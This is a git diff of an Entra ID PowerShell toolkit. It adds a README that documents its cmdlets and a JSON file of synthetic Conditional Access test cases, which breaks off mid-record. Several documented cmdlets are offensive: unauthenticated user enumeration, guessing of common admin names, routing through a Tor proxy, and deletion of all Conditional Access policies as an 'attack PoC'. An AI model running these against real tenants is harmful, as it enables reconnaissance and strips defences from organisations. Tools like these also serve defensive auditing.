Look for sensitive permissions. + $Result = New-DCEntraIDAppPermissionsReport + $Result | where RoleName -in 'RoleManagement.ReadWrite.Directory', 'Application.ReadWrite.All', 'AppRoleAssignment.ReadWrite.All' + + # Export report to Excel for further filtering and analysis. + $Result = New-DCEntraIDAppPermissionsReport + $Path = "$((Get-Location).Path)\Entra ID Enterprise Apps Report $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result | Export-Excel -Path $Path -WorksheetName "Enterprise Apps" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + +--- + +### New-DCEntraIDStaleAccountReport + +**Synopsis:** + +Automatically generate an Excel report containing all stale Entra ID accounts. + +**Details:** + +Uses Microsoft Graph to fetch all Entra ID users who has not signed in for a specific number of days, and exports an Excel report. Some users might not have a last sign-in timestamp at all (maybe they didn't sign in or maybe they signed in a very long time ago), but they are still included in the report. + +Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: +https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + +The following Microsoft Graph API permissions are required for this script to work: + Directory.Read.All + AuditLog.Read.All + +The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: +Install-Module ImportExcel -Force + +Also, the user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Global Reader, Security Admin, Security Reader, etc). + +**Parameters:** + + -ClientID + Description: Client ID for the Entra ID application with Microsoft Graph permissions. + Required: true + + -ClientSecret + Description: Client secret for the Entra ID application with Microsoft Graph permissions. + Required: true + + -LastSeenDaysAgo + Description: Specify the number of days ago the account was last seen. Note that you can only see as long as your Entra ID sign-in logs reach (30 days by default). + Required: false + + -OnlyMembers + Description: Only include member accounts (no guest accounts) in the report. + Required: false + + -OnlyGuests + Description: Only include guest accounts (no member accounts) in the report. + Required: false + + -IncludeMemberOf + Description: Add a column with all group/teams memberships. + Required: false + +**Examples:** + + New-DCEntraIDStaleAccountReport @Parameters + + + $Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 10 + OnlyGuests = $true + IncludeMemberOf = $true + } + New-DCEntraIDStaleAccountReport @Parameters + $Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 30 + } + +--- + +### Remove-DCConditionalAccessPolicies + +**Synopsis:** + +Delete ALL Conditional Access policies in a tenant. + +**Details:** + +This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + +This CMDlet uses Microsoft Graph to automatically delete all Conditional Access policies in a tenant. It was primarily created to clean-up lab tenants, and as an attack PoC. + +This CMDlet will prompt you for confirmation multiple times before deleting policies. + +**Parameters:** + + -PrefixFilter + Description: Only delete the policies with this prefix. + Required: false + +**Examples:** + + + Remove-DCConditionalAccessPolicies + + Remove-DCConditionalAccessPolicies -PrefixFilter 'TEST - ' + +--- + +### Rename-DCConditionalAccessPolicies + +**Synopsis:** + +Rename Conditional Access policies that matches a specific prefix. + +**Details:** + +This command helps you to quickly rename a bunch of Conditional Access policies by searching for a specific prefix. + +If you dontt specify a PrefixFilter, ALL policies will be modified to include the new prefix . + +**Parameters:** + + -PrefixFilter + Description: Only toggle the policies with this prefix. + Required: false + + -AddCustomPrefix + Description: Adds a custom prefix to all policy names. + Required: true + +**Examples:** + + + Rename-DCConditionalAccessPolicies -PrefixFilter 'PILOT - ' -AddCustomPrefix 'PROD - ' + + Rename-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' -AddCustomPrefix 'REPORT - GLOBAL - ' + + Rename-DCConditionalAccessPolicies -AddCustomPrefix 'OLD - ' + +--- + +### Set-DCConditionalAccessPoliciesPilotMode + +**Synopsis:** + +Toggles Conditional Access policies between 'All users' and a specified pilot group. + +**Details:** + +This command helps you to quickly toggle you Conditional Access policies between a pilot and production. It does this by switching policies targeting a specified pilot group and 'All users'. + +It is common to use a dedicated Entra ID security group to target specific pilot users during a Conditional Access deployment project. When the pilot is completed you want to move away from that pilot group and target 'All users' in the organization instead (at least with your global baseline). + +You must filter the toggle with a prefix filter to only modify specific policies. Use a prefix like "GLOBAL -" or "PILOT -" for easy bulk management. This is a built-in safety measure. + +**Parameters:** + + -PrefixFilter + Description: Only toggle the policies with this prefix. + Required: true + + -PilotGroupName + Description: The name of your pilot group in Entra ID (must be a security group for users). + Required: true + + -EnablePilot + Description: Modify all specified Conditional Access policies to target your pilot group. + Required: false + + -EnableProduction + Description: Modify all specified Conditional Access policies to target 'All users'. + Required: false + +**Examples:** + + + Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnablePilot + + Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnableProduction + +--- + +### Set-DCConditionalAccessPoliciesReportOnlyMode + +**Synopsis:** + +Toggles Conditional Access policies between 'Report-only' and Enabled. + +**Details:** + +This command helps you to quickly toggle you Conditional Access policies between Report-only and Enabled. + +If will skip any policies in Disabled state. + +You must filter the toggle with a prefix filter to only modify specific policies. This is a built-in safety measure. + +**Parameters:** + + -PrefixFilter + Description: Only toggle the policies with this prefix. + Required: true + + -SetToReportOnly + Description: Modify all specified Conditional Access policies to report-only. + Required: false + + -SetToEnabled + Description: Modify all specified Conditional Access policies to Enabled. + Required: false + +**Examples:** + + + Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToReportOnly + + Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToEnabled + +--- + +### Start-DCTorHttpProxy + +**Synopsis:** + +Start a Tor network HTTP proxy for anonymous HTTP calls via PowerShell. + +**Details:** + +Start a Tor network HTTP proxy that can be used for anonymization of HTTP traffic in PowerShell. Requires proxy support in the PowerShell CMDlet you want to anonymise. Many of the tools included in DCToolbox supports this. + +Start the proxy: +Start-DCTorHttpProxy + +The proxy will launch in a new PowerShell window that you can minimize. + +You can test it out (and find your currentn Tor IP address and location) with: +Get-DCPublicIp -UseTorHttpProxy + +For other CMDlets, use the following proxy configuration: +127.0.0.1:9150 + +Note: This CMDlet expects the Tor browser to be installed under C:\Temp\Tor Browser. You can change the path with -TorBrowserPath. + +Download Tor browser: +https://www.torproject.org/download/ + +**Parameters:** + + -TorBrowserPath + Description: The path to the Tor browser directory. Default is 'C:\Temp\Tor Browser'. + Required: false + +**Examples:** + + + Start-DCTorHttpProxy + +--- + +### Test-DCEntraIDCommonAdmins + +**Synopsis:** + +Test if common and easily guessed admin usernames exist for specified Entra ID domains. + +**Details:** + +Uses Test-DCEntraIDUserExistence to test if common and weak admin account names exist in specified Entra ID domains. It uses publicaly available Microsoft endpoints to query for this information. Run help Test-DCEntraIDUserExistence for more info. + +Do not use this script in an unethical or unlawful way. Use it to find weak spots in you Entra ID configuration. + +**Parameters:** + + -Domains + Description: An array of one or more domains to test. + Required: true + + -UseTorHttpProxy + Description: Use a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + Required: false + +**Examples:** + + + Test-DCEntraIDCommonAdmins -UseTorHttpProxy -Domains "example.com", "example2.onmicrosoft.com" + +--- + +### Test-DCEntraIDUserExistence + +**Synopsis:** + +Test if an account exists in Entra ID for specified email addresses. + +**Details:** + +This CMDlet will connect to public endpoints in Entra ID to find out if an account exists for specified email addresses or not. This script works without any authentication to Entra ID. This is called user enumeration in cyber security. + +The script can't see accounts for federated domains (since they are on-prem accounts) but it will tell you what organisation the federated domain belongs to. + +Do not use this script in an unethical or unlawful way. Use it to find weak spots in you Entra ID configuration. + +**Parameters:** + + -Users + Description: An array of one or more user email addresses to test. + Required: true + + -UseTorHttpProxy + Description: Use a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + Required: false + +**Examples:** + + + Test-DCEntraIDUserExistence -UseTorHttpProxy -Users "user1@example.com", "user2@example.com", "user3@example.onmicrosoft.com" + +--- + + +Please follow me on my blog https://danielchronlund.com, on LinkedIn and on X! + +@DanielChronlund diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/100_test_cases_with_deviceFilters.json b/CSTijgers/DCToolbox-main/Scripts&Testcases/100_test_cases_with_deviceFilters.json new file mode 100644 index 0000000..50dfa76 --- /dev/null +++ b/CSTijgers/DCToolbox-main/Scripts&Testcases/100_test_cases_with_deviceFilters.json @@ -0,0 +1,2402 @@ +[ + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-000", + "deviceOwnership": "Personal", + "DisplayName": "Device-000", + "EnrollmentProfileName": "Profile-000", + "isCompliant": true, + "Manufacturer": "Manufacturer-A", + "MdmAppId": "mdm-00000", + "Model": "Model-000", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.0", + "PhysicalIds": "physical-id-000", + "profileType": "RegisteredDevice", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-001", + "deviceOwnership": "Company", + "DisplayName": "Device-001", + "EnrollmentProfileName": "Profile-001", + "isCompliant": false, + "Manufacturer": "Manufacturer-B", + "MdmAppId": "mdm-00001", + "Model": "Model-001", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.1", + "PhysicalIds": "physical-id-001", + "profileType": "SecureVM", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-002", + "deviceOwnership": "Personal", + "DisplayName": "Device-002", + "EnrollmentProfileName": "Profile-002", + "isCompliant": true, + "Manufacturer": "Manufacturer-C", + "MdmAppId": "mdm-00002", + "Model": "Model-002", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.2", + "PhysicalIds": "physical-id-002", + "profileType": "Printer", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-003", + "deviceOwnership": "Company", + "DisplayName": "Device-003", + "EnrollmentProfileName": "Profile-003", + "isCompliant": false, + "Manufacturer": "Manufacturer-D", + "MdmAppId": "mdm-00003", + "Model": "Model-003", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.3", + "PhysicalIds": "physical-id-003", + "profileType": "Shared", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-004", + "deviceOwnership": "Personal", + "DisplayName": "Device-004", + "EnrollmentProfileName": "Profile-004", + "isCompliant": true, + "Manufacturer": "Manufacturer-E", + "MdmAppId": "mdm-00004", + "Model": "Model-004", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.4", + "PhysicalIds": "physical-id-004", + "profileType": "IoT", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-005", + "deviceOwnership": "Company", + "DisplayName": "Device-005", + "EnrollmentProfileName": "Profile-005", + "isCompliant": false, + "Manufacturer": "Manufacturer-F", + "MdmAppId": "mdm-00005", + "Model": "Model-005", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.5", + "PhysicalIds": "physical-id-005", + "profileType": "RegisteredDevice", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-006", + "deviceOwnership": "Personal", + "DisplayName": "Device-006", + "EnrollmentProfileName": "Profile-006", + "isCompliant": true, + "Manufacturer": "Manufacturer-G", + "MdmAppId": "mdm-00006", + "Model": "Model-006", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.6", + "PhysicalIds": "physical-id-006", + "profileType": "SecureVM", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-007", + "deviceOwnership": "Company", + "DisplayName": "Device-007", + "EnrollmentProfileName": "Profile-007", + "isCompliant": false, + "Manufacturer": "Manufacturer-H", + "MdmAppId": "mdm-00007", + "Model": "Model-007", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.7", + "PhysicalIds": "physical-id-007", + "profileType": "Printer", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-008", + "deviceOwnership": "Personal", + "DisplayName": "Device-008", + "EnrollmentProfileName": "Profile-008", + "isCompliant": true, + "Manufacturer": "Manufacturer-I", + "MdmAppId": "mdm-00008", + "Model": "Model-008", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.8", + "PhysicalIds": "physical-id-008", + "profileType": "Shared", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-009", + "deviceOwnership": "Company", + "DisplayName": "Device-009", + "EnrollmentProfileName": "Profile-009", + "isCompliant": false, + "Manufacturer": "Manufacturer-J", + "MdmAppId": "mdm-00009", + "Model": "Model-009", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.9", + "PhysicalIds": "physical-id-009", + "profileType": "IoT", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-010", + "deviceOwnership": "Personal", + "DisplayName": "Device-010", + "EnrollmentProfileName": "Profile-010", + "isCompliant": true, + "Manufacturer": "Manufacturer-K", + "MdmAppId": "mdm-00010", + "Model": "Model-010", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.10", + "PhysicalIds": "physical-id-010", + "profileType": "RegisteredDevice", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-011", + "deviceOwnership": "Company", + "DisplayName": "Device-011", + "EnrollmentProfileName": "Profile-011", + "isCompliant": false, + "Manufacturer": "Manufacturer-L", + "MdmAppId": "mdm-00011", + "Model": "Model-011", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.11", + "PhysicalIds": "physical-id-011", + "profileType": "SecureVM", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-012", + "deviceOwnership": "Personal", + "DisplayName": "Device-012", + "EnrollmentProfileName": "Profile-012", + "isCompliant": true, + "Manufacturer": "Manufacturer-M", + "MdmAppId": "mdm-00012", + "Model": "Model-012", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.12", + "PhysicalIds": "physical-id-012", + "profileType": "Printer", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-013", + "deviceOwnership": "Company", + "DisplayName": "Device-013", + "EnrollmentProfileName": "Profile-013", + "isCompliant": false, + "Manufacturer": "Manufacturer-N", + "MdmAppId": "mdm-00013", + "Model": "Model-013", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.13", + "PhysicalIds": "physical-id-013", + "profileType": "Shared", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-014", + "deviceOwnership": "Personal", + "DisplayName": "Device-014", + "EnrollmentProfileName": "Profile-014", + "isCompliant": true, + "Manufacturer": "Manufacturer-O", + "MdmAppId": "mdm-00014", + "Model": "Model-014", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.14", + "PhysicalIds": "physical-id-014", + "profileType": "IoT", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-015", + "deviceOwnership": "Company", + "DisplayName": "Device-015", + "EnrollmentProfileName": "Profile-015", + "isCompliant": false, + "Manufacturer": "Manufacturer-P", + "MdmAppId": "mdm-00015", + "Model": "Model-015", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.15", + "PhysicalIds": "physical-id-015", + "profileType": "RegisteredDevice", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-016", + "deviceOwnership": "Personal", + "DisplayName": "Device-016", + "EnrollmentProfileName": "Profile-016", + "isCompliant": true, + "Manufacturer": "Manufacturer-Q", + "MdmAppId": "mdm-00016", + "Model": "Model-016", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.16", + "PhysicalIds": "physical-id-016", + "profileType": "SecureVM", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-017", + "deviceOwnership": "Company", + "DisplayName": "Device-017", + "EnrollmentProfileName": "Profile-017", + "isCompliant": false, + "Manufacturer": "Manufacturer-R", + "MdmAppId": "mdm-00017", + "Model": "Model-017", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.17", + "PhysicalIds": "physical-id-017", + "profileType": "Printer", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-018", + "deviceOwnership": "Personal", + "DisplayName": "Device-018", + "EnrollmentProfileName": "Profile-018", + "isCompliant": true, + "Manufacturer": "Manufacturer-S", + "MdmAppId": "mdm-00018", + "Model": "Model-018", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.18", + "PhysicalIds": "physical-id-018", + "profileType": "Shared", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-019", + "deviceOwnership": "Company", + "DisplayName": "Device-019", + "EnrollmentProfileName": "Profile-019", + "isCompliant": false, + "Manufacturer": "Manufacturer-T", + "MdmAppId": "mdm-00019", + "Model": "Model-019", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.19", + "PhysicalIds": "physical-id-019", + "profileType": "IoT", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-020", + "deviceOwnership": "Personal", + "DisplayName": "Device-020", + "EnrollmentProfileName": "Profile-020", + "isCompliant": true, + "Manufacturer": "Manufacturer-U", + "MdmAppId": "mdm-00020", + "Model": "Model-020", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.20", + "PhysicalIds": "physical-id-020", + "profileType": "RegisteredDevice", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-021", + "deviceOwnership": "Company", + "DisplayName": "Device-021", + "EnrollmentProfileName": "Profile-021", + "isCompliant": false, + "Manufacturer": "Manufacturer-V", + "MdmAppId": "mdm-00021", + "Model": "Model-021", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.21", + "PhysicalIds": "physical-id-021", + "profileType": "SecureVM", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-022", + "deviceOwnership": "Personal", + "DisplayName": "Device-022", + "EnrollmentProfileName": "Profile-022", + "isCompliant": true, + "Manufacturer": "Manufacturer-W", + "MdmAppId": "mdm-00022", + "Model": "Model-022", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.22", + "PhysicalIds": "physical-id-022", + "profileType": "Printer", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-023", + "deviceOwnership": "Company", + "DisplayName": "Device-023", + "EnrollmentProfileName": "Profile-023", + "isCompliant": false, + "Manufacturer": "Manufacturer-X", + "MdmAppId": "mdm-00023", + "Model": "Model-023", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.23", + "PhysicalIds": "physical-id-023", + "profileType": "Shared", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-024", + "deviceOwnership": "Personal", + "DisplayName": "Device-024", + "EnrollmentProfileName": "Profile-024", + "isCompliant": true, + "Manufacturer": "Manufacturer-Y", + "MdmAppId": "mdm-00024", + "Model": "Model-024", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.24", + "PhysicalIds": "physical-id-024", + "profileType": "IoT", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-025", + "deviceOwnership": "Company", + "DisplayName": "Device-025", + "EnrollmentProfileName": "Profile-025", + "isCompliant": false, + "Manufacturer": "Manufacturer-Z", + "MdmAppId": "mdm-00025", + "Model": "Model-025", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.25", + "PhysicalIds": "physical-id-025", + "profileType": "RegisteredDevice", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-026", + "deviceOwnership": "Personal", + "DisplayName": "Device-026", + "EnrollmentProfileName": "Profile-026", + "isCompliant": true, + "Manufacturer": "Manufacturer-A", + "MdmAppId": "mdm-00026", + "Model": "Model-026", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.26", + "PhysicalIds": "physical-id-026", + "profileType": "SecureVM", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-027", + "deviceOwnership": "Company", + "DisplayName": "Device-027", + "EnrollmentProfileName": "Profile-027", + "isCompliant": false, + "Manufacturer": "Manufacturer-B", + "MdmAppId": "mdm-00027", + "Model": "Model-027", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.27", + "PhysicalIds": "physical-id-027", + "profileType": "Printer", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-028", + "deviceOwnership": "Personal", + "DisplayName": "Device-028", + "EnrollmentProfileName": "Profile-028", + "isCompliant": true, + "Manufacturer": "Manufacturer-C", + "MdmAppId": "mdm-00028", + "Model": "Model-028", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.28", + "PhysicalIds": "physical-id-028", + "profileType": "Shared", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-029", + "deviceOwnership": "Company", + "DisplayName": "Device-029", + "EnrollmentProfileName": "Profile-029", + "isCompliant": false, + "Manufacturer": "Manufacturer-D", + "MdmAppId": "mdm-00029", + "Model": "Model-029", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.29", + "PhysicalIds": "physical-id-029", + "profileType": "IoT", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-030", + "deviceOwnership": "Personal", + "DisplayName": "Device-030", + "EnrollmentProfileName": "Profile-030", + "isCompliant": true, + "Manufacturer": "Manufacturer-E", + "MdmAppId": "mdm-00030", + "Model": "Model-030", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.30", + "PhysicalIds": "physical-id-030", + "profileType": "RegisteredDevice", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + 